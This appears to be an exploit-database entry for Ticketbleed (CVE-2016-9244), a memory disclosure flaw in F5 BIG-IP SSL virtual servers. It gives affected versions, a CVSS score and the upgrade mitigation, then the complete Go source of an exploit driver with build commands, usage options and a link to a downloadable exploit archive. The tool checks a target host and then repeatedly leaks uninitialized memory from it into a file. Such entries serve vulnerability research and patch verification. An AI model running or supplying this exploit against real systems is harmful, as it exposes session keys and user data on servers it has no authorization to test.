Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage

vendor:

BIG-IP

by:

Ege Balci

7.5

CVSS

HIGH

Ticketbleed

125

CWE

Product Name: BIG-IP

Affected Version From: 12.0.0

Affected Version To: 12.1.2 & 11.4.0 - 11.6.1

Patch Exists: YES

Related CWE: CVE-2016-9244

CPE: a:f5:big-ip

Metasploit: https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2016-9244/

Other Scripts:

Platforms Tested: Multiple

2016

Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage

The exploit allows an attacker to read up to 31 bytes of uninitialized memory at a time from a connected client or server.

Mitigation:

Upgrade to a non-vulnerable version of the software (12.1.3 or later for BIG-IP, 11.6.2 or later for BIG-IQ)

Source

Exploit-DB raw data:

/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege BalcÄ±]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]




BUILD:
	go get github.com/EgeBalci/Ticketbleed
	go build Ticketbleed.go

USAGE:
	./ticketbleed <options> <ip:port>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message

*/
package main

import "github.com/EgeBalci/Ticketbleed"
import "strconv"
import "strings"
import "fmt"
import "os"


var OutputFile string = ""
var BleedSize int = 0

func main() {


	ARGS := os.Args[1:]
	if len(ARGS) < 1 || len(ARGS) > 5{
		fmt.Println(Help)
		os.Exit(1)
	}

  	for i := 0; i < len(ARGS); i++{

		if ARGS[i] == "-h" || ARGS[i] == "--help"{
			fmt.Println(Help)
			os.Exit(1)
	  	}

		if ARGS[i] == "-o" || ARGS[i] == "--out"{
			OutputFile = ARGS[i+1]
	  	}

	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
	  		Size,err := strconv.Atoi(ARGS[i+1])
	  		if err != nil {
	  			fmt.Println("[-] ERROR: Invalid size value !")
	  			os.Exit(1)
	  		}
	  		if Size < 0 {
	  			fmt.Println("[-] ERROR: Size can't be smaller than 0")
	  			os.Exit(1)
	  		}else{
	  			BleedSize = Size
	  		}
	  	}
 	}

	if OutputFile != "" {
		File, FileErr := os.Create(OutputFile)
		if FileErr != nil {
			fmt.Println("[-] ERROR: While creating output file !")
			os.Exit(1)
		}
		File.Close()
		fmt.Println("[*] Output file: "+OutputFile)
	}

 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
 	fmt.Println(VulnStatus)
 	if strings.Contains(VulnStatus, "[+]") {
 		
 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
 	}

}



var Help string = `
â–„â–„â–„â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“ â–ˆâ–ˆâ–“ â–„â–ˆâ–ˆâ–ˆâ–ˆâ–„   â–ˆâ–ˆ â–„â–ˆâ–€â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„â–„â–„â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“ â–„â–„â–„â–„    â–ˆâ–ˆâ–“    â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„ 
â–“  â–ˆâ–ˆâ–’ â–“â–’â–“â–ˆâ–ˆâ–’â–’â–ˆâ–ˆâ–€ â–€â–ˆ   â–ˆâ–ˆâ–„â–ˆâ–’ â–“â–ˆ   â–€â–“  â–ˆâ–ˆâ–’ â–“â–’â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„ â–“â–ˆâ–ˆâ–’    â–“â–ˆ   â–€ â–“â–ˆ   â–€ â–’â–ˆâ–ˆâ–€ â–ˆâ–ˆâ–Œ
â–’ â–“â–ˆâ–ˆâ–‘ â–’â–‘â–’â–ˆâ–ˆâ–’â–’â–“â–ˆ    â–„ â–“â–ˆâ–ˆâ–ˆâ–„â–‘ â–’â–ˆâ–ˆâ–ˆ  â–’ â–“â–ˆâ–ˆâ–‘ â–’â–‘â–’â–ˆâ–ˆâ–’ â–„â–ˆâ–ˆâ–’â–ˆâ–ˆâ–‘    â–’â–ˆâ–ˆâ–ˆ   â–’â–ˆâ–ˆâ–ˆ   â–‘â–ˆâ–ˆ   â–ˆâ–Œ
â–‘ â–“â–ˆâ–ˆâ–“ â–‘ â–‘â–ˆâ–ˆâ–‘â–’â–“â–“â–„ â–„â–ˆâ–ˆâ–’â–“â–ˆâ–ˆ â–ˆâ–„ â–’â–“â–ˆ  â–„â–‘ â–“â–ˆâ–ˆâ–“ â–‘ â–’â–ˆâ–ˆâ–‘â–ˆâ–€  â–’â–ˆâ–ˆâ–‘    â–’â–“â–ˆ  â–„ â–’â–“â–ˆ  â–„ â–‘â–“â–ˆâ–„   â–Œ
  â–’â–ˆâ–ˆâ–’ â–‘ â–‘â–ˆâ–ˆâ–‘â–’ â–“â–ˆâ–ˆâ–ˆâ–€ â–‘â–’â–ˆâ–ˆâ–’ â–ˆâ–„â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’ â–’â–ˆâ–ˆâ–’ â–‘ â–‘â–“â–ˆ  â–€â–ˆâ–“â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–“ 
  â–’ â–‘â–‘   â–‘â–“  â–‘ â–‘â–’ â–’  â–‘â–’ â–’â–’ â–“â–’â–‘â–‘ â–’â–‘ â–‘ â–’ â–‘â–‘   â–‘â–’â–“â–ˆâ–ˆâ–ˆâ–€â–’â–‘ â–’â–‘â–“  â–‘â–‘â–‘ â–’â–‘ â–‘â–‘â–‘ â–’â–‘ â–‘ â–’â–’â–“  â–’ 
    â–‘     â–’ â–‘  â–‘  â–’   â–‘ â–‘â–’ â–’â–‘ â–‘ â–‘  â–‘   â–‘    â–’â–‘â–’   â–‘ â–‘ â–‘ â–’  â–‘ â–‘ â–‘  â–‘ â–‘ â–‘  â–‘ â–‘ â–’  â–’ 
  â–‘       â–’ â–‘â–‘        â–‘ â–‘â–‘ â–‘    â–‘    â–‘       â–‘    â–‘   â–‘ â–‘      â–‘      â–‘    â–‘ â–‘  â–‘ 
          â–‘  â–‘ â–‘      â–‘  â–‘      â–‘  â–‘         â–‘          â–‘  â–‘   â–‘  â–‘   â–‘  â–‘   â–‘    
             â–‘                                    â–‘                        â–‘      

Author: Ege Balci
Github: github.com/EgeBalci


USAGE: 
	./ticketbleed <ip:port> <options> 
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message
`

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41298.zip